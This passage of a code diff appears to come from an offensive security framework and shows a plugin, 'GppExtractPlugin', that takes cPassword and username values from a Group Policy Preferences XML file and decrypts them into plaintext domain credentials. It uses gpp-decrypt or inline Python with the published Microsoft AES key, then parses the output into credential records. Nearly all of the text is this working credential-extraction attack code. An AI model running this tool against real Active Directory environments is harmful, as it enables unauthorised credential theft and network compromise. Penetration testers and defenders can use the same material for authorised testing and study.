CPASSWORD=$(grep -oP 'cPassword="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
|
|
275
|
+
fi
|
|
276
|
+
|
|
277
|
+
if [ -z "$USERNAME" ]; then
|
|
278
|
+
USERNAME=$(grep -oP 'runAs="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
|
|
279
|
+
fi
|
|
280
|
+
|
|
281
|
+
if [ -n "$USERNAME" ]; then
|
|
282
|
+
echo "[+] Username: $USERNAME"
|
|
283
|
+
fi
|
|
284
|
+
if [ -n "$NEWNAME" ]; then
|
|
285
|
+
echo "[+] New Name: $NEWNAME"
|
|
286
|
+
fi
|
|
287
|
+
|
|
288
|
+
if [ -z "$CPASSWORD" ]; then
|
|
289
|
+
echo "[-] No cpassword found in GPP file"
|
|
290
|
+
exit 0
|
|
291
|
+
fi
|
|
292
|
+
|
|
293
|
+
echo "[+] Encrypted Password (cpassword): $CPASSWORD"
|
|
294
|
+
echo ""
|
|
295
|
+
|
|
296
|
+
# Decrypt using gpp-decrypt
|
|
297
|
+
echo "=== Decrypting Password ==="
|
|
298
|
+
if command -v gpp-decrypt &> /dev/null; then
|
|
299
|
+
PLAINTEXT=$(gpp-decrypt "$CPASSWORD" 2>&1)
|
|
300
|
+
if [ -n "$PLAINTEXT" ]; then
|
|
301
|
+
echo "[+] Decrypted Password: $PLAINTEXT"
|
|
302
|
+
echo ""
|
|
303
|
+
echo "=== CREDENTIALS FOUND ==="
|
|
304
|
+
echo "Username: $USERNAME"
|
|
305
|
+
echo "Password: $PLAINTEXT"
|
|
306
|
+
echo "========================="
|
|
307
|
+
else
|
|
308
|
+
echo "[-] gpp-decrypt failed to decrypt"
|
|
309
|
+
fi
|
|
310
|
+
else
|
|
311
|
+
echo "[-] gpp-decrypt not found, trying Python decryption..."
|
|
312
|
+
# Fallback: Python-based decryption
|
|
313
|
+
python3 -c "
|
|
314
|
+
import base64
|
|
315
|
+
from Crypto.Cipher import AES
|
|
316
|
+
from Crypto.Util.Padding import unpad
|
|
317
|
+
|
|
318
|
+
# Microsoft published AES key for GPP
|
|
319
|
+
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
|
|
320
|
+
cpassword = '$CPASSWORD'
|
|
321
|
+
|
|
322
|
+
# Add padding if needed
|
|
323
|
+
cpassword += '=' * (4 - len(cpassword) % 4)
|
|
324
|
+
encrypted = base64.b64decode(cpassword)
|
|
325
|
+
|
|
326
|
+
# Decrypt
|
|
327
|
+
cipher = AES.new(key, AES.MODE_CBC, iv=b'\\x00' * 16)
|
|
328
|
+
decrypted = unpad(cipher.decrypt(encrypted), AES.block_size)
|
|
329
|
+
print('[+] Decrypted Password:', decrypted.decode('utf-16-le').rstrip('\\x00'))
|
|
330
|
+
print()
|
|
331
|
+
print('=== CREDENTIALS FOUND ===')
|
|
332
|
+
print('Username: $USERNAME')
|
|
333
|
+
print('Password:', decrypted.decode('utf-16-le').rstrip('\\x00'))
|
|
334
|
+
print('=========================')
|
|
335
|
+
" 2>&1 || echo "[-] Python decryption failed - install pycryptodome: pip install pycryptodome"
|
|
336
|
+
fi
|
|
337
|
+
""",
|
|
338
|
+
]
|
|
339
|
+
|
|
340
|
+
return {"cmd": cmd, "timeout": 120}
|
|
341
|
+
|
|
342
|
+
def get_timeout(self, args: List[str] = None) -> int:
|
|
343
|
+
"""Return timeout in seconds."""
|
|
344
|
+
return 120 # 2 minutes should be plenty
|
|
345
|
+
|
|
346
|
+
def parse_output(
|
|
347
|
+
self,
|
|
348
|
+
output: str,
|
|
349
|
+
target: str,
|
|
350
|
+
args: List[str] = None,
|
|
351
|
+
) -> Dict[str, Any]:
|
|
352
|
+
"""Parse gpp_extract output for credentials."""
|
|
353
|
+
result = {
|
|
354
|
+
"tool": "gpp_extract",
|
|
355
|
+
"target": target,
|
|
356
|
+
"credentials": [],
|
|
357
|
+
"gpp_file_found": False,
|
|
358
|
+
"decryption_success": False,
|
|
359
|
+
}
|
|
360
|
+
|
|
361
|
+
# Check if GPP file was downloaded
|
|
362
|
+
if "Downloaded GPP file successfully" in output:
|
|
363
|
+
result["gpp_file_found"] = True
|
|
364
|
+
|
|
365
|
+
# Extract username
|
|
366
|
+
username_match = re.search(r"Username:\s*(.+?)(?:\n|$)", output)
|
|
367
|
+
username = username_match.group(1).strip() if username_match else None
|
|
368
|
+
|
|
369
|
+
# Extract decrypted password
|
|
370
|
+
password_match = re.search(r"Decrypted Password:\s*(.+?)(?:\n|$)", output)
|
|
371
|
+
if password_match:
|
|
372
|
+
result["decryption_success"] = True
|
|
373
|
+
password = password_match.group(1).strip()
|
|
374
|
+
|
|
375
|
+
if username and password:
|
|
376
|
+
result["credentials"].append(
|
|
377
|
+
{
|
|
378
|
+
"username": username,
|
|
379
|
+
"password": password,
|
|
380
|
+
"source": "gpp",
|
|
381
|
+
"type": "plaintext",
|
|
382
|
+
}
|
|
383
|
+
)
|
|
384
|
+
|
|
385
|
+
# Check for CREDENTIALS FOUND block
|
|
386
|
+
if "=== CREDENTIALS FOUND ===" in output:
|
|
387
|
+
result["decryption_success"] = True
|
|
388
|
+
|
|
389
|
+
return result
|
|
390
|
+
|
|
391
|
+
|
|
392
|
+
# Register the plugin
|
|
393
|
+
plugin = GppExtractPlugin()
|